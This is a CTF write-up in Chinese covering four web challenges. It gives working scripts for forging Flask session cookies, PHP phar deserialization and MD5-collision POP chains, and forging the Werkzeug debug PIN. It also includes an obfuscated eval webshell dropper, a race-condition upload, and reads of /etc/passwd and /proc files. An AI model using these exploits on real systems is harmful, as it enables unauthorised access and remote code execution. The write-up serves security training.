Web
Python_easy
Flask session伪造,登录用户名处模板注入
用户名用{{config}}获取配置信息拿到
secret_key b’8\x98B\xf6\xad\xfb\xaf\xfcw\x8a=\xa2\xb2g\n\xe3-\x98Z;\xd9x\x8f\xae’
用脚本生成session
/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
print(FSCM.encode(b'8\x98B\xf6\xad\xfb\xaf\xfcw\x8a=\xa2\xb2g\n\xe3-\x98Z;\xd9x\x8f\xae', "{'username': 'admin'}"))
# if(args.subcommand == 'encode'):
# if(args.secret_key is not None and args.cookie_structure is not None):
# print(FSCM.encode(args.secret_key, args.cookie_structure))
# elif(args.subcommand == 'decode'):
# if(args.secret_key is not None and args.cookie_value is not None):
# print(FSCM.decode(args.cookie_value,args.secret_key))
# elif(args.cookie_value is not None):
# print(FSCM.decode(args.cookie_value))
替换session成为admin 访问flag即可
small_mini
/file.php?file=文件读取漏洞拿到源码
Class.php可以进行找到pop链读取flag.php文件
file.php可以拿到网站根目录
从而获取到了flag.php的绝对路径
利用file_exists函数能触发phar反序列化
生成phar脚本如下
<?php
class User
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
die('die! hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "die! hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
$phar=new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering(); //开始缓冲phar写操作
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置phar的文件标识
$user = new User("1");
$show = new Show("1");
$test = new Test();
$test->params = array("source"=>"/var/www/html/flag.php");
$show->str = array("str"=>$test);
$user->str=$show;
$phar->setMetadata($user); //设置phar存储的自定义meta-data
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering(); //结束缓冲区
?>
上传携带phar文件,后缀改为jpg,
文件生成在upload目录下,文件名为md5(我的文件名+右上角ip).jpg
然后从查看文件处触发?file=phar://upload/c30d3c0cd8646e172b3fea093218f662.jpg再base64解码完成phar反序列化读取flag
easy_pop
找到pop链能够进行文件包含,提示了hint.php就读他
需要生成md5相同但值不同的序列,使用fastcoll
设置前缀为php://filter/read=convert.base64-encode|vw/resource=hint.php
刚好60字符
将md5碰撞结果放到1.txt和2.txt中
生成序列化代码如下
<?php
//hint.php
show_source(__File__);
class K{
public $code;
private $code2;
function __get($key)
{
$this->code->$key();
}
}
class F{
public $var1;
public $var2;
function __toString(){
if(($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2))){
include(substr($this->var2,0,60));
}
}
}
class C {
public $thur;
function __call($a,$b){
echo $this->thur;
}
}
class V{
public $sun;
function __destruct(){
$this->sun->code2;
}
}
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
$v = new V();
$k = new K();
$v->sun = $k;
$c = new C();
$k->code = $c;
$f = new F();
$c->thur = $f;
$f->var1 = readmyfile("1.txt");
$f->var2 = readmyfile("2.txt");
echo urlencode(serialize($v));
?>
拿到hint后进入到一个文件上传界面,对后缀名没有检测,但上传后文件很快被删除,并且对文件内容有检测。
使用如下木马
<?php
$a = 'fil';
$b = 'e_put_con'.'tents';
$c = $a.$b;
$c("shell.txt","<?php @ev"."al(\$_PO"."ST['ant']);");
?>
竞争上传,一个进程疯狂传马,一个进程疯狂访问马的路径
直到大量404里有一个200停下,upload/shell.php就已经被生成了从而getshell
小f的网站
flask的debug泄漏,伪造pin码直接使用python shell拿到flag
/file目录存在文件读取,用来获取伪造pin需要的信息
伪造pin码需要
1.服务器运行flask所登录的用户名,从/etc/passwd。
2.modname
3.getattr(app, “name”, app.class.name)。
4.flask库下app.py的绝对路径,从debug页面获取。
5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得
6.最后一个就是机器的id,通过文件/proc/self/cgroup的pids处。
2、3都是固定值,其他的通过读文件和debug页面拿到,生成pin的脚本如下
#!/usr/bin/python2.7
#coding:utf-8
from sys import *
import requests
import re
from itertools import chain
import hashlib
def genpin(mac,mid):
probably_public_bits = [
'root', # username
'flask.app', # 一般为固定值modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
mac = "0x"+mac.replace(":","")
mac = int(mac,16)
private_bits = [
str(mac), # str(uuid.getnode()), /sys/class/net/eth0/address
str(mid) # get_machine_id(), /proc/sys/kernel/random/boot_id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
def getcode(content):
try:
return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
except:
return ''
def getshell():
print (genpin("02:42:ac:11:00:19","9b4a22faf1aa0ee08038b0d4320d95c3bec57623bfd381b1dca5df97da3e357e"))
if __name__ == '__main__':
getshell()
得到pin码168-792-274
输入不存在的文件如/file?file=/proc/self/fd/3进入debug页面
输入pin码进入python shell
Os.popen(‘cat /app/flag.txt’).read()拿到flag